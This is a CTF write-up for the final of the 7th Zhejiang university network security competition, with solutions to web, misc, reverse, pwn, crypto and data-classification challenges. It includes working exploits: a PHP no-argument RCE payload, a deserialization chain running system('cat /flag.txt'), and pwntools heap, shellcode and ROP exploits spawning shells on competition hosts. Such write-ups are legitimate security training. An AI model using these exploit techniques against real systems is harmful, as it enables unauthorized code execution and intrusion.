第七届浙江省大学生网络与信息安全竞赛决赛-WP

总榜Rank1,在毕业前拿到榜一也是圆满了 :)

web

wucanrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
echo "get只接受code欧,flag在上一级目录<br>";
$filename = __FILE__;
highlight_file($filename);
if(isset($_GET['code'])){
if (!preg_match('/session_id\(|readfile\(/i', $_GET['code']))

{
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['code'])) {
@eval($_GET['code']);
}

}
else{
die("不让用session欧,readfile也不行");
}
}
?>

无参rce

1
2
3
4
5
//查看上一级目录文件名
print_r(scandir(dirname(getcwd())));

//读取上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php
highlight_file(__FILE__);
error_reporting(0);
class AAA{
public $aear;
public $string;
public function __construct($a){
$this -> aear = $a;
}
function __destruct()
{
echo $this -> aear;
}
public function __toString()
{
$new = $this -> string;
return $new();
}

}

class BBB {
private $pop;

public function __construct($string) {
$this -> pop = $string;
}

public function __get($value) {
$var = $this -> $value;
$var[$value]();
}
}

class DDD{
public $bag;
public $magazine;

public function __toString()
{
$length = @$this -> bag -> add();
return $length;
}
public function __set($arg1,$arg2)
{
if($this -> magazine -> tower)
{
echo "really??";
}
}
}

class EEE{
public $d=array();
public $e;
public $f;
public function __get($arg1){
$this->d[$this->e]=1;
if ($this->d[]=1){
echo 'nononononnnn!!!';
}
else{
eval($this->f);
}
}
}

class FFF{
protected $cookie;

protected function delete() {
return $this -> cookie;
}

public function __call($func, $args) {
echo 'hahahhhh';
call_user_func([$this, $func."haha"], $args);
}
}
class GGG{
public $green;
public $book;
public function __invoke(){
if(md5(md5($this -> book)) == 666) {
return $this -> green -> pen;
}
}
}

if(isset($_POST['UP'])) {
unserialize($_POST['UP']);
}

反序列化

调用路径:
AAA::__destruct-->AAA::__toString-->GGG::__invoke-->EEE::__get

其中到GGG的时候需要爆破一下md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-

import multiprocessing
import hashlib
import random
import string
import sys


CHARS = string.letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS

while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
md5 = hashlib.md5(md5.hexdigest())

if md5.hexdigest()[start: start+str_len] == substr and md5.hexdigest()[3].isdigit()==False:
print rnds
stop_event.set()


if __name__ == '__main__':
substr = sys.argv[1].strip()

start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0

str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range(cpus)]

for p in processes:
p.start()

for p in processes:
p.join()

EEE中的if用报错跳过即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class GGG{
public $green;
public $book='g1xFqZRDDTyxafSIUSta';
}


class AAA{
public $aear;
public $string;
}



class EEE{
public $d=1;
public $e;
public $f="system('cat /flag.txt');";
}

$a = new AAA();
$a->aear = new AAA();
$a->aear->string = new GGG();
$a->aear->string->green = new EEE();

echo urlencode(serialize($a));

//O%3A3%3A%22AAA%22%3A2%3A%7Bs%3A4%3A%22aear%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A4%3A%22aear%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A3%3A%22GGG%22%3A2%3A%7Bs%3A5%3A%22green%22%3BO%3A3%3A%22EEE%22%3A3%3A%7Bs%3A1%3A%22d%22%3Bi%3A1%3Bs%3A1%3A%22e%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A24%3A%22system%28%27cat+%2Fflag.txt%27%29%3B%22%3B%7Ds%3A4%3A%22book%22%3Bs%3A20%3A%22g1xFqZRDDTyxafSIUSta%22%3B%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

misc

FinalSign

附件是一个txt,存在snow特征,有大量的2009

用得到的keyhelloworld去xor txt中的字符串

1
2
3
4
5
6
7
8
9
a=bytes.fromhex('2c243f2f3b3114345d0a0909333f06100143023b2c55020912')
key=b'helloworld'
e=[]
for i in range(0,len(a)):
e.append(a[i]^key[i%len(key)])
print(bytes(e))


#b'DASCTF{F1nal_Sign1n_D0ne}'

非黑即白

反转文件,得到一张gif

1
2
3
with open('非黑即白','rb') as f:
with open('1.gif','wb') as g:
g.write(f.read()[::-1])

将纯黑色的帧转为0,其他的转为1,得到一个加密的zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from PIL import Image
a=Image.open("1.gif")
n=0
data=""
e=[]
while True:
try:
a.seek(n)
d=a.copy().convert('1').getdata()
if (d[0]==0):
data+='0'
else:
data+='1'
except:
break;
if (len(data)==8):
e.append(int(data,2))
data=''
n+=1

f=open("data.zip",'wb')
f.write(bytes(e))
f.close()

identify查看帧间隔,发现前几帧的间隔不一致,提取出来转成字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@lewiserii:~# identify -format "%s %T \n" 2.gif
0 118
1 106
2 69
3 74
4 48
5 98
6 83
7 117
8 77
9 79
10 86
11 65
12 90
13 103
14 101
1
2
3
4
a=[118,106,69,74,48,98,83,117,77,79,86,65,90,103,101]
print(bytes(a))

#b'vjEJ0bSuMOVAZge'

解压得到flag DASCTF{H3r3_1s_C0L0rful_W0rld}

天命人

按照黑猴的章节名排序

1
2
3
4
5
6
火照黑云
风起黄昏
夜生白露
曲度紫鸳
日落红尘
未竟

发现按照顺序取一个字节是50 4b 03 04 00 0a

python提取出来

1
2
3
4
5
6
7
8
9
10
11
12
file_list = ['火照黑云', '风起黄昏', '夜生白露', '曲度紫鸳', '日落红尘', '未竟']
sources = [open(file_name, 'rb') for file_name in file_list]
n = 0
with open('1.zip', 'wb') as target:
while n < 0x5ead4:
bytes_read = [source.read(1) for source in sources]

for byte in bytes_read:
if byte:
target.write(byte)
n += 1

7-zip打开可以看到另一个zip

其中 根器.zip 很明显进行crc32爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
C:\Users\lewiserii\Desktop\脚本\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x76899D01
4 bytes: C0M3 {0x43, 0x30, 0x4d, 0x33}
verification checksum: 0x76899d01 (OK)


C:\Users\lewiserii\Desktop\脚本\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x8E036AA6
4 bytes: _4ND {0x5f, 0x34, 0x4e, 0x44}
verification checksum: 0x8e036aa6 (OK)


C:\Users\lewiserii\Desktop\脚本\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x881D716A
4 bytes: _Get {0x5f, 0x47, 0x65, 0x74}
verification checksum: 0x881d716a (OK)


C:\Users\lewiserii\Desktop\脚本\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x7F3D8E75
4 bytes: _S1X {0x5f, 0x53, 0x31, 0x58}
verification checksum: 0x7f3d8e75 (OK)


C:\Users\lewiserii\Desktop\脚本\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x248D3C69
4 bytes: _R00 {0x5f, 0x52, 0x30, 0x30}
verification checksum: 0x248d3c69 (OK)


C:\Users\lewiserii\Desktop\脚本\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0xCB27D2BD
4 bytes: TS!! {0x54, 0x53, 0x21, 0x21}
verification checksum: 0xcb27d2bd (OK)

得到密码C0M3_4ND_Get_S1X_R00TS!!,解密 未竟.zip

提取金箍棒.png上的像素点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from PIL import Image

a = Image.open("金箍棒.png")
x, y = 5, 5
x_, y_ = 0, 0
w, h = a.size
b = Image.new(a.mode, (w // 10, h // 10))

for x in range(5, w, 10):
for y in range(5, h, 10):
print(x, y, x_, y_)
b.putpixel((x_, y_), a.getpixel((x, y)))
y_ += 1
x_ += 1
y_ = 0
b.save('1.png')

得到verapass1:jinggubang

用照片作为密钥文件同时使用密码挂载得到flag

DASCTF{T1m3_t0_F4Ce_De5t1nY}

reverse

Reverse2

upx 加密,但抹了特征,修改一下就行

然后用命令解密

1
upx -d Reverse2.exe

打开就是 base64 换表

Reverse1

先使用标准rc4加密密钥
之后使用魔改的rc4加密明文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
class rc4():
def toBytes(self,data):
if type(data)==str:
return data.encode()
elif type(data)==bytes:
return data
else:
raise Exception("data Type Error")

def GetKey(self,data):
k=[]
k1=[]
data_l=len(data)
for i in range(256):
k.append(i)
k1.append(data[i%data_l])
n=0
for i in range(256):
n=(k1[i]+n+k[i])&0xff
n1=k[i]
k[i]=k[n]
k[n]=n1
return k

def Cipher(self,data):
data=self.toBytes(data)
enc=[]
k=self.Key.copy()
n=0
n1=0
tmp=0
for i in range(len(data)):
n=(n+1)&0xff
n1=(n1+k[n])&0xff
tmp=k[n]
k[n]=k[n1]
k[n1]=tmp
enc.append((data[i]+k[(k[n]+k[n1])%256])&0xff)
return bytes(enc)


def __init__(self,key):
key=self.toBytes(key)
self.Key=self.GetKey(key)
self.__Key=key

def SetKey(self,key):
key=self.toBytes(key)
self.Key=self.GetKey(key)
self.__Key=key


k=bytes.fromhex("690d5ab240ea193f2f6a")
d=[0x4E, 0x47, 0x38, 0x47, 0x62, 0x0A, 0x79, 0x6A, 0x03, 0x66, 0xC0, 0x69, 0x8D, 0x1C, 0x84, 0x0F, 0x54, 0x4A, 0x3B, 0x08, 0xE3, 0x30, 0x4F, 0xB9, 0x6C, 0xAB, 0x36, 0x24, 0x52, 0x81, 0xCF]
r=rc4(bytes(k))
e=r.Cipher(bytes(d))
print(e)

pwn

ezPwn

直接利用tcache bin0x4180地址处创建chunk,并写入构造好的数据,就可以获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *


context.arch='amd64'
def add(size,data=b'\n'):
p.sendlineafter(b'exit',b'1')
p.sendlineafter(b"size>>",str(size).encode())
p.sendafter("data>>",data)
def edit(ind,data):
p.sendlineafter(b'exit',b'2')
p.sendlineafter(b'index>>',str(ind).encode())
p.sendafter("data>>",data)

def show(ind):
p.sendlineafter(b'exit',b'3')
p.sendlineafter(b'index>>',str(ind).encode())
p.readuntil(b'data>>\n')
def free(ind):
p.sendlineafter(b'exit',b'4')
p.sendlineafter(b'index>>',str(ind).encode())
def exit():
p.sendlineafter(b'exit',b'5')
def getflag():
p.sendlineafter(b'exit',b'6')

def calc(data):
mark=0xfff000000000
data1=data&mark
result=0
result|=data1
for i in range(3):
data1=((data1>>12)^data)&(mark>>12)
result|=data1
mark=mark>>12
return result
pass
e=ELF("./pwn")

#p=process("./pwn")
p=remote('10.1.197.36',9999)
p.readuntil(b'gift:\n')
e.address=int(p.readline(),16)-0x1a44
#gdb.attach(p)
add(0x400)
add(0x400)
add(0x400)
free(0)
free(1)
free(2)
show(1)
d=u64(p.read(8))
print(hex(d))
d=calc(d)
print(hex(d))
_4180=e.address+0x4180

edit(1,p64(_4180^((d+0x410)>>12)))
add(0x400)
add(0x400)
add(0x400)
payload=p32(0xf0)*10
edit(5,payload)
p.sendline('6')
p.interactive()

printFFF

题目允许写入0x15字节的shellcode,但是不够获取shell
所以利用exitgot表第二次写shellcode,并在第一次shellcode中设置一些环境
这样第二次shellcode就可以直接调用system("sh")来获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.arch='amd64'
shellcode="""
mov edi,0x404800
mov eax,0x6873
mov [rdi],rax
pop rdi
sub rdi,0x6D
jmp rdi
"""
shellop=asm(shellcode)
print(hex(len(shellop)))
#exit()
e=ELF("./pwn")
#p=process("./pwn")
p=remote("10.1.197.38",9999)
#gdb.attach(p,'bp 0x4010E0')

p.send(shellop)
pause()
exit_=e.got['exit']
p.send(p64(0x405000)+p64(exit_)+p64(4))
p.interactive()
shellcode="""
mov edi,0x404800
mov rax,[0x404030]
sub rax,0xc3a60
jmp rax
"""
shellop=asm(shellcode)
print(hex(len(shellop)))

p.send(shellop)
pause()
exit_=e.got['exit']
p.send(p64(0x405000)+p64(exit_)+p64(4))
pause()
p.interactive()

reverse_stack

在程序扩展栈空间的时候存在整数溢出,让下一个函数的栈在当前函数的前面,就可以实现修改程序流
通过修改程序流让程序第二次使用mmap创建第二个栈
这两个栈是连续的,这样在第一次调用函数时写入的栈地址就在程序栈的中间,就可以获取栈中的数据,比如libc_start_main的地址
之后就可以构造rop链获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
#context.log_level='debug'

def l(size):
p.sendafter('long?\n',p64(size&(0xffffffffffffffff)))

def d(data):
p.sendafter('buf\n',data)

def pill(n):
if n:
p.sendafter('pill?\n',b'red'.ljust(8,b'\x00'))
else:
p.sendafter('pill?\n',b'blue'.ljust(8,b'\x00'))


p=remote("10.1.197.37",9999)
#p=process('./pwn')
e=ELF("./pwn")
#pause()
l(0x40)
d('asdfadsf')
pill(1)
l(0x400)
d(b'\x87')
pill(0)
l(0x58)
d('asdfasdf')
p.read(0x40)
d_=u64(p.read(8))
d_=u64(p.read(8))
print(hex(d_))
e.address=d_-0x1233
d_=u64(p.read(8))
print(hex(d_))
stack=d_&(-0x1000)
pill(1)
for i in range(10):
l(0x400)
d('asdfadsf')
pill(1)

l(-0x400)
pill(1)
l(0x500)
payload=b'a'*0x3c8+p64(e.address+0x1050)+p64(stack+0x5000)
d(payload)
p.readuntil('pill?\n')
p.send(b'blue'.ljust(8,b'\x00'))

for i in range(0x102):
l(0x1f0)
d('asd')
pill(1)
l(-0x400)
pill(1)
l(0x500)

payload=b'a'*0x3c8+p64(e.address+0x11CE)+p64(stack-0x78)
d(payload)
p.readuntil('pill?\n')
p.send(b'blue'.ljust(8,b'\x00'))
p.read(0x70)
d_=u64(p.read(8))
print(hex(d_))
real_stack=d_

pill(1)
l(-0x400)
pill(1)
l(0x1f0)
d('rotwill')

pill(1)
l(0x500)

payload=b'a'*(0x3c8-33*0x10)+p64(e.address+0x11ce)+p64(real_stack-0x4d0-8)
d(payload)
p.readuntil('pill?\n')
p.send(b'blue'.ljust(8,b'\x00'))
p.read(0x4d0)
d_=u64(p.read(8))
print(hex(d_))
pause()
pill(1)
#p.interactive()

libc=ELF("./libc.so.6")
libc.address=d_-0x29d90

gadget=libc.address+0xebc81
l(-0x400)
pill(1)
l(0x500)
system=libc.sym['system']
rdi=0x000000000002a3e5+libc.address
bin_sh=next(libc.search(b'/bin/sh\x00'))
ret=rdi+1
#gdb.attach(p,'bp $rebase(0x1228)\nc')
#pause()
payload=b'a'*(0x3c8)+p64(ret)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(stack+0x18000)
d(payload)
p.readuntil('pill?\n')
p.send(b''.ljust(8,b'\x00'))

p.interactive()

数据安全

datasecurity_classify1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from string import ascii_letters
import os
phone_prefix = [
734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
780, 781, 789, 790, 791, 793, 799
]
id_card_xishu = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
odd = "1 0 X 9 8 7 6 5 4 3 2".split(' ')
if os.path.exists('result.csv'):
os.remove('result.csv')
with open('result.csv','+a') as result:
result.write('类型,数据值\n');
with open('data.csv','rb') as data:
for line in data.readlines():
line = line.decode().strip();
if len(line) == 18:
# id card
qian_17 = line[:17]
sums = 0;
for i,e in enumerate(qian_17):
e = int(e) * id_card_xishu[i];
sums += e;
if line[-1] != odd[sums % 11]:
continue;
result.write('身份证号,'+line + '\n');
elif len(line) == 11:
for prefix in phone_prefix:
if line.startswith(str(prefix)):
result.write('手机号,'+line + '\n');
break;
else:
if '数据值' in line:
continue;
# name
sign = False;
for i in ascii_letters:
if i in line:
sign = True;
break;
if not sign:
result.write('姓名,'+line + '\n');

datasecurity_classify2

先用tshark提取数据

1
tshark -r data.pcapng -T felds -Y "http.request.method==POST" -e data

除了文档中的要求外注意处理ip的范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
def veryifyIdCard(idcard):
if len(idcard) != 18:
return False;
idcardList.append(idcard)
idcard = idcard.upper()
id_card_xishu = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
odd = "1 0 X 9 8 7 6 5 4 3 2".split(' ')
sums = 0;
qian_17 = idcard[:17]
for i,e in enumerate(qian_17):
e = int(e) * id_card_xishu[i];
sums += e;

return idcard[-1] == odd[sums % 11];

def verifyPhone(phone):
phone_prefix = [
734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778,
782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766,
767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789,
790, 791, 793, 799
]
if len(phone) != 11 or phone[-1] == 'X':
return False;
for prefix in phone_prefix:
if phone.startswith(str(prefix)):
return True;
return False;

def verifyIp(ip):
for i in ip.split('.'):
if int(i) > 255:
return False;
return True;

def cleanData(data):
if '-' in data:
data = ''.join(data.split('-'))
elif ' ' in data:
data = ''.join(data.split(' '))

return data;



import re,os
ipMatch = re.compile(r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}');
phoneMatch = re.compile('(\d{11}|\d{3}\ \d{4}\ \d{4}|\d{3}\-\d{4}\-\d{4})');
idcardMatch = re.compile('(\d{18}|\d{6}\ \d{8}\ \d{4}|\d{6}\-\d{8}\-\d{4})');
idcardMatch_with_x = re.compile('(\d{17}X|\d{6}\ \d{8}\ \d{3}X|\d{6}\-\d{8}\-\d{3}X)');

idcardList = []

if os.path.exists('result2.csv'):
os.remove('result2.csv')
with open('result2.csv','+a') as result:
result.write('category,value\n');
with open('data.dat', 'r') as data:
data2 = bytes.fromhex(data.read()).decode();
for line in data2.split(','):
if idcardMatch.findall(line):
for e in idcardMatch.findall(line):
e = cleanData(e);
if veryifyIdCard(e):
result.write('idcard,' + e + '\n');
if idcardMatch_with_x.findall(line):
for e in idcardMatch_with_x.findall(line):
e = cleanData(e);
if veryifyIdCard(e):
result.write('idcard,' + e + '\n');
if phoneMatch.findall(line):
for e in phoneMatch.findall(line):
e = cleanData(e);
sign = True;
for card in idcardList:
if e in card:
sign = False;
break;
if not sign:
continue;
if verifyPhone(e):
result.write('phone,' + e + '\n');
if ipMatch.findall(line):
for e in ipMatch.findall(line):
if verifyIp(e):
result.write('ip,' + e + '\n');

crypto

MyCode

根据加密内容生成key并爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import numpy as np


def substitute(state, sub_box):
return [sub_box[b & 0xF] | (sub_box[(b >> 4) & 0xF] << 4) for b in state]


def generate_round_keys(base_key, rounds):
round_keys = []
temp_key = base_key
for _ in range(rounds):
round_keys.append(temp_key & 0xFFFFFFFF)
temp_key ^= ((temp_key << 1) & 0xFFFFFFFF) | ((temp_key >> 31) & 0x1)
return round_keys


def process_state(base_key, state, rounds, encrypt):
sub_box = [0x9, 0x4, 0xA, 0xB, 0xD, 0x1, 0x8, 0x5, 0x6, 0x2, 0x0, 0x3, 0xC, 0xE, 0xF, 0x7]
inv_sub_box = [0xA, 0x5, 0x9, 0xB, 0x1, 0x7, 0x8, 0xF, 0x6, 0x0, 0x2, 0x3, 0xC, 0x4, 0xD, 0xE]

round_keys = generate_round_keys(base_key, rounds)

if encrypt:
for round in range(rounds):
state = substitute(state, sub_box)
state = [s ^ ((round_keys[round] >> (i * 8)) & 0xFF) for i, s in enumerate(state)]
else:
for round in range(rounds - 1, -1, -1):
state = [s ^ ((round_keys[round] >> (i * 8)) & 0xFF) for i, s in enumerate(state)]
state = substitute(state, inv_sub_box)

return state


def encrypt(plaintext, key, rounds=10):
length = len(plaintext)
padded_length = length if length % 4 == 0 else length + (4 - (length % 4))
plaintext += b'\x00' * (padded_length - length)

ciphertext = bytearray(padded_length)
for i in range(0, padded_length, 4):
state = list(plaintext[i:i + 4])
state = process_state(key, state, rounds, True)
ciphertext[i:i + 4] = state

return ciphertext


def decrypt(ciphertext, key, rounds=10):
length = len(ciphertext)
plaintext = bytearray(length)
for i in range(0, length, 4):
state = list(ciphertext[i:i + 4])
state = process_state(key, state, rounds, False)
plaintext[i:i + 4] = state

return plaintext.rstrip(b'\x00')


def main():
# plaintext = b"DASCTF{******}"
# key = 0xECB... # 4 bytes
# ciphertext = encrypt(plaintext, key)
# print("Ciphertext:", ''.join(f"{b:02X}" for b in ciphertext))

Ciphertext = 'A6B343D2C6BE1B268C3EA4744E3AA9914E29A0789F299022820299248C23D678442A902B4C24A8784A3EA401'
Ciphertext = bytes.fromhex(Ciphertext)

for i in range(0xFFFFF + 1):
key = 0xecb00000 + i
re = decrypt(Ciphertext, key)
print(re)
if b'DAS' in re:
break


if __name__ == "__main__":
main()

信创安全

OH

app会在点击事件中对输入进行加密,将加密之后的数据与/aPR+E8wS9+XbFMUfm8NacHpP190pf5xaR8+MIm/8gw=进行比较

程序加密的调用流程为encrypt->encryptX->encryptY->encodeX->encodeY

分析初始化函数发现,加密使用的密钥相同,为DASCTF2024-OHAPPencryptX为aes-128|ecb加密,encryptY为aes-128|cbc加密

分析encryptY,发现疑似使用encryptX的结果作为cbc的iv
程序将明文从中间分为两个十六位字符串,前十六位进行encryptX加密,后十六位进行encryptY加密

签到

网安知识大挑战-FINAL

简单的问题,直接做了

DBCCCCBCDB

根据提示用Triple DES解密得到flag


第七届浙江省大学生网络与信息安全竞赛决赛-WP
https://www.dr0n.top/posts/f2e1654d/
作者
dr0n
发布于
2024年11月9日
更新于
2024年11月10日
许可协议